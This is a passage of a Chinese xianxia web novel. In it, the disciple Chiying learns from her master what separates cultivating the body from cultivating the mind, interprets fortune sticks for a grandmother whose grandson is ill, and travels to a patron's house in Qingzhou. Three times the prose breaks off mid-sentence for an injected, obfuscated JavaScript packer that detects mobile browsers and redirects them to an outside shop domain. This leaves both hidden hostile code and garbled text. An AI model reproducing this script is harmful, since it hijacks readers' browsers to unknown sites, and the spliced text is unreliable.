炁翻涌旋转着,将他的身形完全包裹其中,远远看去像是一团浓重的冬雾落在了这方寸之间。 翻涌了片刻,便开始缓缓收敛。像是潮水涨到了极致,开始退去。 一层一层地落回他体内,但他周身的炁并没有消失,而是变得更加凝实、更加均匀。 此刻他的炁已经不再是薄薄一层覆在体表了,而是像一件用月光织成的外袍,妥帖地包裹着他的全身。 每一寸肌肤都在散发着柔和的白光,他站在那里,像是一盏被点亮了的灯。 他低头看着自己的双手,炁随着他的动作微微流动,像是一条极缓的溪流在他身体表面缓缓流淌。 黎素真缓缓握紧拳头,又松开,炁便随着他的呼吸一收一放,像是活过来了一般。 他抬起头来看着持盈,沉默了很久才开口:“师妹,多谢了。” 持盈收回了贴在他肋下的手,退后一步。 她的耳尖被冻得有些发红,低头拍了拍肩上落着的碎雪:“是师兄自己到了。”她说完便不再说话了,退到一边,把空地让了出来。 左婴一直靠在那棵老梅树上,双手拢在袖中,安安静静地看着这一切。 他看到黎素真周身的炁从翻涌到收敛,看到他低头看着自己的双手时那种神情。 微微点了点头,只道:“可算过去了。” 说得很平淡。 黎素真站在那里,又低头看了自己的手掌片刻。 他运起一丝炁,像是清晨的雾气从山谷中升起那般,顺着他的手臂、肩背、腰腿缓缓流淌,将他整个人笼在一层柔和的白光之中。 他伸出手接了一片雪花。 那片雪花落在他掌心上时并没有立即融化,而是悬浮在表面停顿了一瞬,像是被什么东西托住了。 而后才缓缓下沉,穿过那层薄薄的炁,落在他掌心的皮肤上化成一小滴水珠。他看着那滴水珠,将手掌轻轻握拢,然后抬起头来看了看天。 雪还在下,落在他的睫毛上和肩头,像是被一层无形的屏障托了一下,才落到他的衣袍上。 持盈站在几步之外安静地看着他。 她看了一会儿,没有说什么,只是低下头将自己那件红色袄裙上沾着的几片碎雪轻轻拂掉了。 14. 明白 藏经阁二层的窗边,是持盈最喜欢待的地方。 窗外的松林在冬日里静默着,枝丫上积着雪,一层一层地叠上去,像是一座座小小的白色宝塔。 风穿过林间时,松针上的雪沫便簌簌地落下来,在阳光中闪闪烁烁地飞扬一阵,又归于沉寂。 持盈盘膝坐在窗下的蒲团上,面前摊着一卷《归元诀》的总纲。她已经读了许多遍了,读到几乎能背诵了,但今日再翻开时,她的目光落在一句话上,停住了。 “修命不修性,到头一场空。” 她不大记得这句话是从哪一卷书里看来的,也不记得是什么时候记在心里的。 大约是某一日随手翻到某本前辈手记时扫过的一句话,读过便放下了,却不知怎的留在了脑子里。 今日读总纲读到一半,这句话便毫无来由地浮了上来,像一枚叶子从水底翻起,贴在了水面上。 持盈将总纲搁下,伸手拿起另一卷薄一些的册子。那是一本前辈的手记,封皮已经磨损得看不出颜色了。她随手翻开一页,目光落在那几行字上。 “余习归元诀三十余载,命功上颇有所得,炁已充盈至四肢百骸,自觉进境不慢。然每至夜深人静时,反观内照,但觉心中空空荡荡,如大野无人。修命不修性,到头一场空。此言不虚。” 持盈读了一遍,又读了一遍,然后将册子搁在膝上,望着窗外出神。 她体内的炁正在缓缓流动。 她能清晰地感知到它的存在,像一条温热的河流,从丹田出发,沿着经脉流向四肢百骸,再从四肢百骸流回丹田。 她的皮肉比从前更加紧致、更加通透,精力也比从前旺盛了许多,每日只需睡两个时辰便足够了,白日里也不觉得疲惫。 这些都是修命得来的,是看得见摸得着的东西。她低下头看着自己的手掌,握紧,又松开,皮肤下隐隐有白光流转,又迅速隐去。 但持盈心里有一个地方,始终是空的。 她不知道那个地方是从什么时候开始空的。 似乎从她有记忆以来,那里便一直是那个样子。不疼,不难受,只是一种很安静很空旷的感觉。 像一个极深极静的山谷,喊一声也听不见回音。她很少去想它,但她也从来没有忘记过它在那里。 持盈从前不在意,觉得大约人人心里都有这么一块地方,没什么好大惊小怪的。 但方才读到那句“心中空空荡荡,如大野无人”时,她忽然觉得那位前辈说的,与她心里那个地方,似乎是同一个。 她知道自己修到了什么地方,炁已充盈,皮肉已固。别人看她,大约觉得这个小师妹年纪轻轻便修到了第一重圆满,很是不错。 可她自己知道,她只是把看得见的那一半修好了。 还有一半看不见的东西,她连碰都还没有碰到。那道将她和世间万物隔开的薄膜,她看得到外面的一切,但触不到它。 持盈将手按在自己胸口,用力按了一下。 自己与这院中的一棵树、山间的一块石头,到底有什么区别。 如今在意了。她说不上来这是好事还是坏事,只觉得那位前辈说得对。 她不想走到头的时候,发现自己只是一具装满炁的空壳。 持盈将那本手记放回原处,将总纲也卷起来收好,起身走出了藏经阁。 沿着回廊往后山走,走得不快,一边走一边想着那句话。 走到后山静室前时,她停下了脚步。左婴正坐在门前的石凳上,膝上搁着一卷书,手里端着一盏茶。 他听见脚步声,抬起头看了她一眼,又将目光落回书卷上:“今日怎么想起到为师这里来了。” 持盈在他面前站定,安静了一会儿,才开口:“师父,我想问一个问题。” “问。” “修命和修性,到底有什么区别?” 左婴翻书的手指停了一下。 他将书卷阖上,搁在膝上,端着那盏茶喝了一口,慢悠悠地开口:“你问这个问题,是遇到什么事了。” 持盈将自己方才在藏经阁读到的那段话说了。 左婴听完,没有立刻回答。他端着茶盏,望着远处的山脊,沉默了好一会儿才开口:“你觉得,你修到第一重圆满,靠的是什么。” 持盈想了想:“每日练功,不曾懈怠。” “那你觉得,你师兄也每日练功不曾懈怠,为什么他困在第一重那么多年。” 持盈张了张嘴,又闭上了。她想过这个问题,但从来没有找到一个让自己信服的答案。 左婴看着她:“你知不知道你和你师兄之间,最大的差别是什么。” “师兄比我踏实。”她顿了一下,“他的心比我稳。他做什么事都很认真,从不投机取巧。我不如他。” 左婴摇了摇头:“你说错了。你师兄确实踏实,但他困在第一重那么多年,恰恰是因为他太踏实了。” “他太相信‘练’这件事本身了,他以为只要每日练功、从不间断,总有一天会突破。” “但他忽略了一件事——归元诀的根本,不在于‘练’,而在于‘化’。” “化?” “化。化解的化,融化的化,化掉的化。炼精化炁,炼炁化神,炼神还虚。” “归元诀的每一步都在做同一件事,把一样东西化掉,变成另一样东西。” “把后天的浊气化成先天的真炁,把有形的筋骨化成无形的炁态,把那个‘我’化进天地中去。” 他没有再用什么高深的说法,只是看着她,缓缓道:“修命,是把你这一身皮肉筋骨练好,让你有本钱去做后面的事。修性,是把你心里那些疙瘩解开,让你有能力去做后面的事。” “命是船,性是舵。没有船,你过不了河。没有舵,你只能在水上打转。” 持盈静静地听着。 “你方才说,你觉得自己心里空了一块,不知道缺的是什么,也不知道该拿它怎么办。” “你没有去找东西把它填上,你也没有急着到处去找答案。你只是让那个空在那里,然后继续过你的日子,继续练你的功,继续看你自己的念头。” “这就是‘化’的第一步。” 持盈低下头,看着自己的手,安静了很久。 “师父,我还是有些不明白。” “修命我明白,练功、调息、导引、站桩,每一样都有个章法,我知道该怎么做。” “但修性呢?” “修性要怎么练?我也要像练功一样,每日花几个时辰去‘修性’么?” 左婴没有直接回答,他忽然问了一个毫不相干的问题:“你每日独处的时候,都在想些什么。” 持盈没想到他会问这个,愣了一下才道:“什么都会想。” “有时候想今天读过的经文,有时候想功法上的疑问,有时候会想起从前在拾翠楼的日子,有时候什么也不想,只是坐着发呆。” “那你发呆的时候,会觉得自己在浪费时间么。” 持盈想了想,老实答道:“从前会。从前觉得发呆没什么用,不如多读几页书、多练一会儿功。” “但现在——方才弟子来的路上还在想,发呆大约也是有用的。” “有用在何处?” “弟子说不上来。” “只觉得发呆的时候,那些念头来便来了,走便走了,不用去抓住它们,也不用赶走它们。发完呆之后,心里会清静一些。” 左婴端起茶盏喝了一口,慢悠悠地道:“这便是修性。” 持盈怔了一下。 “你以为修性是什么?每日早晚念几遍清心咒,还是盘着腿坐一个时辰什么都不想?” “那些都是方法,不是根本。根本只有一件事——学会和自己相处。” 他看着她,目光平静而温和:“你已经在做这件事了。你做了很多年了,只是你自己不知道这便是修行。” 持盈沉默了很久。 窗外的风吹进静室,将她额前的碎发轻轻拂动。 她低下头,看着自己膝上那道被反复折叠而留下的痕迹,过了一小会儿才开口:“可是师父,我还是觉得……空。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17513369|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哪里空。” 她将手按在自己胸口的位置,用力按了一下,像是想确认什么东西在那里:“这里。” “有时候会觉得这里空空的,好像缺了一块什么东西,但我不知道缺的是什么。” 左婴没有立刻回答。 他沉默了一会儿,站起身来,走到那棵老梅树下。 伸手轻轻捏住一枝缀满花苞的枝条,将它弯下来看了看。又倏地松开手,枝条便弹了回去,在寒风中轻轻摇晃了一阵。 “你有没有想过,也许那个‘空’不是缺陷。” 持盈抬起头看着他。 “你修到第一重圆满,炁已经充盈全身了,你没有哪里是不足的。” “那个‘空’的感觉,不是因为你少了什么——是因为你开始意识到自己有一个‘我’了。” 他转过身来看着她:“你知道自己在想什么,你知道自己在感受什么,你开始观察自己的念头了。” “这就是性功的第一步。那个‘空’的感觉,是你开始认识自己的第一个证据。” 持盈怔住了。 左婴走回石凳前坐下,端起那盏茶喝了一口,语气又恢复了平日里那副不紧不慢的样子:“你方才说,你不明白修命和修性有什么区别。现在明白一些了么。” 持盈沉默了一会儿,点了点头:“修命是练炁,修性是……看自己。” “差不多。”左婴道,“修命让你有一副好身子,修性让你知道这身好本事要往哪里使。” “没有命的性是空的,修一辈子也只是个空想家。没有性的命是盲的,练一辈子也只是个有力气的莽夫。性命双修,缺一不可。” 他看了她一眼:“你还有什么问题。” 持盈想了想,又问道:“师父,我还是不太明白‘化’是什么意思。您方才说我没有抗拒那个空,没有逃避它,这就是‘化’的第一步。那第二步呢?” 左婴端起茶盏喝了一口,慢悠悠地道:“第二步——等你哪天不再觉得那个‘空’是空的时候,你自然就知道了。” 持盈站在原地,安静了很久。 然后她低下头,轻轻说了一句:“弟子明白了。” 左婴看了她一眼:“真明白了?” “真明白了。”她抬起头来,“不是想通了什么大道理——是知道路在哪里了。” 左婴看了她一会儿,没有再说什么。他重新坐下来,翻开那卷书,语气平平的:“明白了便回去罢,别耽误了晚课。” 持盈躬身行了一礼,转身沿着来路往回走。 走出几步,左婴的声音从身后传来:“对了。你回去之后,把那卷总纲再读一遍,从第一句开始读。” 持盈停下脚步,回过头来:“读完之后呢?” “读完之后,把它放下。然后再读一遍,放下。如此反复,读到自己觉得不用再读为止。” 持盈点了点头,转身继续往回走。 她沿着回廊走回藏经阁,在那扇窗边重新坐下来。 没有立刻翻开那卷总纲,而是先坐在窗边,望着远处的山脊安安静静地待了一会儿。 持盈低下头,摊开那卷总纲,从第一句开始读。 “其若不若,自若不自,非往非来。” “可行不行,可止不止,在不在间。” “不其其,不身身,不有有。” “言至无言,名至无名,及此则止。” 她读了一遍,将其放下,而后拿起又读了一遍,又放下。 她不知道自己读了多少遍,但她发现每一次读完之后放下、再拿起来的时候,那句话的意思似乎都会比上一遍更清晰一些。 窗外的松林在风中轻轻摇晃,积雪从枝头簌簌落下。她将那卷总纲再次放下,这一次,她没有立刻拿起来。 她坐在窗边,望着远处的山脊,忽然觉得那个“空”的感觉还在,但它不再让她不安了。 它只是在那里,像窗外的松林一样,安安静静地在那里。 持盈坐了一会儿,重新拿起那卷总纲,翻开,继续读着。 15. 解签 入了春,山上的雪便开始化了。 檐角的冰棱一天比一天短,滴滴答答地落着水,在青石板上砸出一个个小坑。 待到雪水终于流尽了,山间的草木便像被唤醒了一般,争先恐后地冒出嫩绿的新芽来。 这日轮到持盈在前殿当值。 玄极观的香火一向不错,尤其是开春之后,上山来烧香祈愿的百姓络绎不绝。持盈坐在清虚殿侧厅的桌案后,面前摆着一筒签、一方砚、一支笔、一沓黄纸。 她今日穿了一身青灰色的道袍,头发用一根素木簪子绾成道髻,整个人干净利落,像一株刚被雨水洗过的青竹。 殿外的日光从敞开的门扇中照进来,在青砖地面上铺了一片亮堂堂的光。 香炉里燃着早香,青烟袅袅地升起来,在日光中散成一层极淡的青色薄雾。 持盈端坐在桌案后面,等着今日的香客上门。 第一个进来的是一个穿蓝布短褐的中年汉子,手里拎着一只竹篮,篮里装着一刀黄纸、一束线香。 他在殿前烧了香,便转到侧厅来,在持盈面前的凳子上坐下,将签筒推了过来。 “小师父,替我抽一支。” 持盈接过签筒,摇了一摇,一支签从筒中跳了出来。她捡起来一看,是中平签。 “问什么的?” “问运势。”汉子搓了搓手,“今年想跑一趟长途贩货,心里没底,想问问顺不顺。” 持盈低头看着那支签,片刻后开口道:“此签说‘行舟遇风,不急不躁;待风转势,一帆风顺’。” “你这一趟跑长途,路上大约会遇到一些波折,但不是什么过不去的坎。只要不着急、不冒进,稳着走,最终是能成的。” 汉子听了,眉眼舒展开了一些,从怀里摸出几文钱来放在桌上,连声道了谢,拎着竹篮走了。 持盈将那几文钱收进桌下的钱匣中,将签插回筒里,等着下一位香客。 一上午便这样过去了。 来解签的人形形色色,有问家宅的、有问姻缘的、有问病情的、有问子孙的。持盈一一接了,一一回了。 她说话不多,但每一句都落在实处。 有那抽到上上签喜笑颜开的,她便也微微点头;有那抽到下下签愁眉苦脸的,她也不说虚话,只将签文中的转机指出来,至于信与不信,便看各人自己了。 快到午时,香客渐渐稀少了。持盈倒了一杯茶,端起来喝了一口,靠在椅背上歇气。 门帘又被掀开了。 进来的是一位头发花白的老婆婆,穿着一件打了许多补丁的青布衣裳,佝偻着背,手里拄着一根竹杖。她在门口站了一会儿,才慢慢挪到桌案前坐下。 持盈放下茶杯,坐直了身子。 老婆婆没有立刻说话,她先从怀里摸出三炷香来,在烛上点燃了,插进桌案上的小香炉里,然后才将签筒推到持盈面前,声音沙哑:“小师父,替我抽一支罢。” 持盈接过签筒,轻轻摇了一摇,一支签跳了出来。她捡起来一看,是下下签。 她没有立刻念签文,将签放在桌上,往老婆婆面前推了推:“婆婆,这支签不算好。您先看看,心里有个数。” 老婆婆低下头,看着那支签。她不识字,但她知道下下签长什么样。 她活了这么大岁数,见过太多了。她看了一会儿,没有伸手去碰,只是点了点头:“晓得了。” 说完“晓得了”之后,她没有再开口,也没有要走的意思。她只是坐在那里,两只手搁在膝上,握着一卷黄纸。 持盈没有催她,也没有说那些“签文虽不利却不是绝路”的话。她只是静静地坐在那里,等着。 过了一会儿,老婆婆才开口:“我孙子病了。村里的郎中说是痨病,治不了。我不信。” 她说完这三个字便停住了,浑浊的眼睛望着桌面上某处空无一物的地方,像是把这句话说给持盈听,又像是说给自己听。 持盈没有接话。 老婆婆又沉默了一会儿,声音比方才低了一些:“他爹娘走得早,是我一手带大的,他才十四岁。” 她说完便低下头,没有再说下去。 持盈看着她花白的头发在日光中微微颤动。她等了一会儿,开口问道:“婆婆,你从哪儿来的?” “山下的刘家村。” “走来的?” “走来的。” “走了多久?” “大清早出的门,走到这会儿。” 持盈点了点头,没有再问了。她伸手拿起那支下下签,在手里握了片刻,放回桌上。 “婆婆,签文上说‘阴云蔽日,不见光明’。这不是说没有光明了,是说暂时被遮住了。后头还有一句是‘耐心守候,云开月明’。” “我不跟你说假话,这支签确实不好。但签文没有说死路,它只说让你等。” 老婆婆抬起头来看着她:“等到什么时候呢?” 持盈没有马上回答。她想了想,才道:“我不知道,签文上没有写。” “但你今日走了这么远的路上山来替他求一支签,说明你还没放弃他。只要你不放弃他,他便还有机会。这不是签文上说的,是我自己说的。” 老婆婆听完,没有点头也没有摇头。她低头看着桌上那支签,伸出手去将它拿起来,翻来覆去看了两遍,放回桌上。 她撑着桌沿慢慢站起身来,将那卷黄纸揣进怀里,拿起靠在桌边的竹杖:“多谢小师父了。” 她说完便转过身,拄着竹杖一步一步地往外走。 持盈坐在桌案后面,望着那道佝偻的背影一步一步挪到门口,她忽然开口叫了一声:“婆婆。” 老婆婆停下脚步,回过头来。 持盈已经从桌案后站了起来。日光从门外照进来,落在她青灰色的道袍上,将她整个人都笼在了一层柔和的光晕里。 她站在那里,过了片刻才开口,声音比方才轻了一些:“你孙子会好起来的。我的话未必准,但你信一信也无妨。” 老婆婆看着她,浑浊的眼睛里微微亮了一下。她没有说话,只是点了点头,转过身,慢慢地走出了清虚殿。 那道佝偻的身影一步一步走远,最终消失在门外的日光里。 正午过后,香客渐渐少了。轮到持盈歇值,澄怀师兄来接替她。 澄怀是个四十来岁的中年道士,平日里话不多,但办事稳妥,待师弟师妹也一向宽厚。 他走进侧厅时,看见持盈正将签筒理好,便道:“辛苦了,去歇着罢。” 持盈应了一声,起身走出清虚殿。 沿着回廊往回走的路上,她走得不快。经过前院时,看见几个香客正在殿前烧香磕头,香烟缭绕,人声隐隐。她没有停留,继续往后院走去。 到了后院门口,她没有去厨房,也没有回房间,而是在院门前的台阶上坐了下来。 她自己也说不上来为什么没有接着走。阳光照在她面前的青砖地上,亮晃晃的一片,她看着那片光,发了很久的呆。 那个老婆婆走了那么远的山路,只为了替孙子求一支签。 她拿到那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516330|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 支下下签的时候,脸上没有绝望,也没有愤怒,只是很平静地说了一句“晓得了”。 那种平静,持盈觉得自己是认识的。 就像她八岁那年,在黑山老妖的洞中,抬头看着那只朝自己盖下来的手时,心里也是那样的平静。 因为知道无人可求,所以连绝望都省了。 但那个老婆婆还是来了。 她走了那么远的山路,点燃三炷香,求了一支签。她不信命,但她还是来了。 持盈坐在台阶上,望着面前那片亮晃晃的日光,忽然觉得自己好像从来没有像那个老婆婆一样,为了某一个人、某一件事,走那么远的路,只求一个“也许有用”的机会。 她从来没有那样过,她在拾翠楼的时候没有,在玄极观这些年也没有。 她不知道自己将来会不会有那样的时候,但方才那个老婆婆转身离开的时候,她心里确实动了一下。 像是有一粒极小的石子,落进了很深很静的水里,咕咚一声,荡开了一圈极淡极淡的涟漪。 傍晚时分,她走到前院,看见黎素真正站在清虚殿门口的廊柱下,正跟澄怀师兄说着话。夕阳将他的影子拉得很长,落在地上一道青灰色的长影。 持盈走过去的时候,黎素真转头看了她一眼:“解了一天签,还好么。” “还好。” “有没有遇到什么难解的。” 持盈想了想:“有一个老婆婆,抽了一支下下签,来问孙子的病。” 黎素真看着她:“那你跟她说了什么。” 持盈将下午的事说了一遍。黎素真听完,沉默了一会儿,开口道:“你这样答也可以。没有骗她,也没有让她觉得彻底没指望了。” 持盈点了点头,正想转身离开,又忽然停住了,抬头看了黎素真一眼:“师兄,我能问你一个问题么?” “你问。” “你解签的时候,有没有遇到过让你心里放不下的人?” 黎素真看了她一眼,她的目光很认真,不像是在闲聊。他沉默了一会儿,点了点头:“有。” “那你怎么做的?” “我给他写了一封信。” 持盈微微怔了一下:“写信?” “一个从远方来的书生,解完签之后在观里坐了一下午。” 黎素真的语气很平淡,“我给他倒了三回茶,他也没有要走的意思。” “后来我问他是不是还有什么事,他才说,他离家三年了,没考上功名,没脸回去。他说他不知道自己是该继续考,还是该回家。” 他顿了一下:“他不需要我给他答案。他知道自己该怎么选。他需要的是有个人听他说完,听完之后告诉他不管选哪条路,都有人觉得他能走通。” “他走的时候,我跟他说,不管你选哪条路,记得给家里写封信报个平安。后来他给我回了一封信,说他回家了,他爹娘没有怪他。” 持盈听完,沉默了很久。 她忽然明白了自己今天下午那一路的别扭是从哪里来的。 她抬头看了黎素真一眼:“多谢师兄,我知道了。” 黎素真看了她一眼,没有再多说什么,转身往前走去。 走出几步,又停下来,没有回头:“厨房里还温着一碗红豆汤,趁热喝了罢,别放凉了。”他说完便继续往前走了。 持盈站在清虚殿门口,望着他的背影消失在暮色中。 晚风从山间吹来,带着草木的气息,清冷冷的,却并不刺骨。 她站了一会儿,转身往厨房走去。 16. 青州 正值三月中,一位青州的信使到了玄极观。 信是青州李家的老爷亲自写的,措辞客气,笔意恳切。 信中说起去岁一别倏忽经年,甚念故人,末了才提了一句——家中幼子顽劣,唯慕玄极观之名,日夜念叨,闹得阖家不宁。若蒙不弃,望仙师拨冗一行,了此稚儿痴愿。 左婴读完信,搁在桌上,指腹在信纸边沿轻轻摩挲了一下,倒也没说什么,只让若渝回了一封信,说三日后动身。 持盈得知这个消息时,正在后院的井边洗衣裳。黎素真走过来告诉她准备行装,三日后要随师父下山去一趟青州。 她将拧干的衣裳抖开,晾在绳上,问了句:“去做什么。” “青州一位李老爷请师父去做一场祈福法事。他每年给观里捐许多香火,是多年的老交情了。” 黎素真顿了一下,“他还有个幼子,据说闹着要入玄极观门下,李老爷拗不过他,才写了那封信来。” 持盈点了点头,将木盆里的水倒了,没有再多问。 黎素真站在原地,看了她一眼。她晾衣裳的动作很利落,抖开、搭绳、抚平,一气呵成,做完便端起木盆往厨房方向走了。 他没有叫住她,也转身走了。走了两步,又回头看了一眼她挂在绳上的那件衣裳,袖口处有一块洗得发白的痕迹。 他看了一眼,便收回目光走了。 而在青州李宅,这封信的起因,却是另一番光景。 半月前的一个午后。 李老爷正在书房里看账本,门外忽然传来一阵急促的脚步声,紧接着门“砰”的一声被推开了,连敲门都没有。 一个小身影从门外蹿了进来,穿着锦袍,头发束得齐整,但衣摆上沾了几片叶,袖口也蹭了一块灰。 他一进门便跑到书案前,双手往案上一撑,仰着头,两眼亮晶晶的:“父亲,你帮我写封信。” 李老爷放下账本,看了他一眼:“又闯什么祸了。” “没有闯祸。”李慕仙理直气壮,“我要拜师。” “拜什么师?” “玄极观。”他说这三个字的时候,下巴微微扬起来,带着一种“我都已经决定好了,你照办便是”的神气。 李老爷看了他一会儿:“怎么忽然想起这个来了。” “不是忽然。”李慕仙道,“我想了一年了。” “那你一年前怎么不说。” “一年前说了,你肯定觉得我是小孩子闹着玩,不会当真。”他振振有词,“我现在说,你就知道我认真的了。” 李老爷被他这套逻辑说得噎了一下,沉默了片刻:“为什么非要去玄极观。” 李慕仙眨了眨眼睛,想了想,理所当然地答道:“因为最好的。” “什么最好?” “什么都最好。功法最好,名声最好,人——也最好。”他说到“人”字的时候顿了一下,语气微微变了一些,但马上又恢复了那副理所应当的模样,“总之我就要去玄极观。” 李老爷靠在椅背上,看着自己这个年仅十岁的幼子。 他知道这孩子什么脾气,从小便这样,想要什么东西便一门心思地扑上去,九头牛都拉不回来。 他若是不应,这孩子能天天跑来磨他,磨到他答应为止。 李老爷沉默了片刻,最终只是摇了摇头,无奈道:“罢了罢了,为父替你写。” 李慕仙得了这句话,嘴角一弯,但马上又收住了,拱了拱手,一本正经地说了一句“多谢父亲”,转身便往外跑。 跑到门口时被门槛绊了一下,踉跄了一步,扶住门框站稳了,头也不回地跑了出去。 李老爷坐在书案后面,望着那个一溜烟消失的背影,铺开一张信笺,提笔蘸墨。 他写到“幼子慕仙”四个字时顿了一下,想了想措辞,最终还是落笔写了“顽劣”二字,叹了口气,继续写下去。 出发那日天色未明,山间还笼着一层薄薄的雾气。 持盈换了一身干净的道袍,头发用一根素木簪子绾成道髻,此外再无一件饰物。 她走到山门口时,黎素真已经到了。 他今日穿了一件淡蓝色的道袍,腰间系着一条深色的丝绦,背着一个小小的行囊,站在晨雾中。 他听见脚步声,转头看见持盈从雾中走来,目光在她身上停了一息。 她的衣领有一处没有理好,微微翻起了一角。他看见了,张了张嘴,又闭上了,最终没有说什么,只是将目光移开了。 不多时,左婴也到了。 他换了一身苍青色的道袍,长发没有束冠,只用一根深青色的发带在脑后松松挽了一下,余下的发丝垂落在肩背上,被晨风微微拂动。 他站在山门口的晨雾中,衣袂和发丝都带着一种未干透的笔意,仿佛随时会被风吹散。 山下已经备好了一辆马车。车是青州李家派来的,车身宽敞,帷幔是深青色的厚布。 车夫是个沉默的中年汉子,见三人下山,便跳下辕座恭恭敬敬地行了一礼。 左婴点了点头,踩着脚凳上了车。 黎素真跟在后面,上车前他回头看了一眼,持盈正低头拂去袖口沾着的晨露,没有注意到他在看她。他收回目光,弯腰钻进了车厢。 持盈正要上车时,脚下被车辕绊了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17519943|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,身子微微一晃。 黎素真的手已经伸了出去,但他伸到一半,又停住了。 持盈自己扶住了车壁,站稳了,钻进了车厢。 他便将那只伸到一半的手收回来。 马车沿着官道一路向东。 车厢内比想象中宽敞,三人各占一侧,中间还置了一张小几,几上搁着一壶茶和几只茶杯。 左婴上车后便靠在车壁上闭目养神,持盈坐在靠窗的位置,偶尔掀开帘子往外看一眼。 田野、村庄、行人在窗外一一掠过,她看了一会儿,便将帘子放下了。 黎素真坐在她对面,手里拿着一卷书在读。 但他没有在读。 他翻了一页,目光从书页上抬起来,落在对面那个靠窗的位置上。 持盈正侧着头望着窗外,晨光从帘子的缝隙中漏进来,在她的侧脸上落了一道柔和的轮廓。 她的睫毛在光中微微泛着一层淡金色,随着马车颠簸轻轻颤动,像一只停在花瓣上的蝴蝶在风中微微收拢翅膀。 黎素真看了她片刻,低下头,又翻了一页。他翻页的动作很轻,怕发出声响惊动了她似的。 但他翻完那一页后,过了好一会儿,目光都没有真正落在书页上。 他想起那时她刚到玄极观不久,蹲在井边试图打水,木桶放下去好几次都只打上来半桶。 他站在远处看了一会儿,走过去教她怎么抖绳才能让桶口朝下。 她学了两遍便会了,抬起头来看着他,说了一声“多谢师兄”,语气平平的,不疏远也不亲近。 他当时想,这个师妹话真少,似潭水那般沉静。 他从来没有遇到过这样的人。 他放下书卷,端起几上的茶壶倒了一杯茶,又倒了另一杯,将其中一杯往持盈的方向推了推:“喝杯茶罢,路还长。” 持盈转过头来,看了他一眼,又看了看那杯茶,伸手端起来喝了一口:“多谢师兄。” “嗯。”他应了一声,端起自己那杯也喝了一口,目光落在窗外飞速后退的田野上,没有看她。 马车走了一整日,在傍晚时分抵达了青州城。穿过几条街巷,在一座大宅门前停了下来。 持盈掀开帘子,看见一座气派的门楼,门楣上悬着一块匾额,上书“李宅”两个大字。 车夫跳下辕座,上前叩了叩门环。门内很快传来脚步声,大门被从里面打开了。 一个管家模样的中年人探出头来,看见车夫又看了一眼马车,连忙将大门完全敞开,转身快步往里跑去,一边跑一边喊道。 “老爷——玄极观的仙师到了!” 17. 最好 不多时,一个身着锦袍、身形富态的中年人从内院快步迎了出来。 他约莫五十出头的年纪,面容和善,留着一部修剪得整齐的短须,笑起来的时候眼睛眯成两条缝。 李老爷快步走到马车前,拱手行了一礼,声音洪亮:“左真人!一别经年,风采更胜往昔!小弟盼星星盼月亮,可算把您盼来了!” 左婴从马车上下来,也拱了拱手:“李员外别来无恙。” “无恙无恙!”李老爷笑得合不拢嘴,“一切都好!快请进快请进——内院已经备好了接风宴,就等着您了!” 左婴点了点头,回头看了一眼持盈和黎素真,示意他们跟上。 持盈和黎素真便一左一右跟在左婴身后,随着李老爷穿过大门,走进了李宅。 李宅比从外面看起来还要大。穿过门厅和影壁,走过一道连廊,连廊两侧是精心打理过的庭院,假山、池塘、花木错落有致。 持盈的目光在庭院中扫了一圈,便收回来了,只安静地跟在左婴身后走着。 接风宴设在见山堂后面的花厅里。 花厅不大,但布置得雅致,没有多余的陈设,只一张圆桌、几把椅子、墙上一幅山水画,画的是青州城外的云门山。 桌上已经摆好了几道精致的素菜,清淡雅致,没有荤腥。 李老爷引着左婴在上座坐下,自己在主位相陪,持盈和黎素真在末座坐了。 席间李老爷与左婴闲话家常,说的都是些旧事。 哪一年在何处相遇、哪一年玄极观的大殿修缮时李家捐了多少银两、哪一年李老爷的夫人生了一场大病、左婴开了一副方子便治好了。 李老爷说起这些事来如数家珍,语气里带着一种与有荣焉的自豪感。 左婴只是听着,偶尔应一两句,不主动起话头,但也不冷落对方。 持盈坐在末座安静地吃着饭。 她正吃着,忽然感到有一道目光。 她微微偏过头,顺着那道目光看过去,客厅的门槛外,站着一个男孩。 那孩子约莫十来岁,穿着一件锦袍,腰间束着一条银灰色的丝绦,发髻梳得整整齐齐,簪着一根白玉簪。 他站在门槛外的阴影中,大半张脸被门框遮住了,只露出一双眼睛,正一眨不眨地望着厅内。 他的目光落在左婴身上,像是被什么东西牢牢钉住了一样,一动不动。 但他站的位置很巧妙,恰好是在门框的阴影里,若不是特意往那边看,几乎注意不到那里站着一个人。 持盈顺着他的目光看了一眼左婴,又看了一眼那个男孩,便将目光移开了,低头继续吃自己碗里的饭。 那男孩在门槛外站了好一会儿,没有走进来。 直到李老爷无意间一抬头,看见了门槛外那个小小的身影,便招了招手:“慕仙,站在那儿做什么?进来见过真人。” 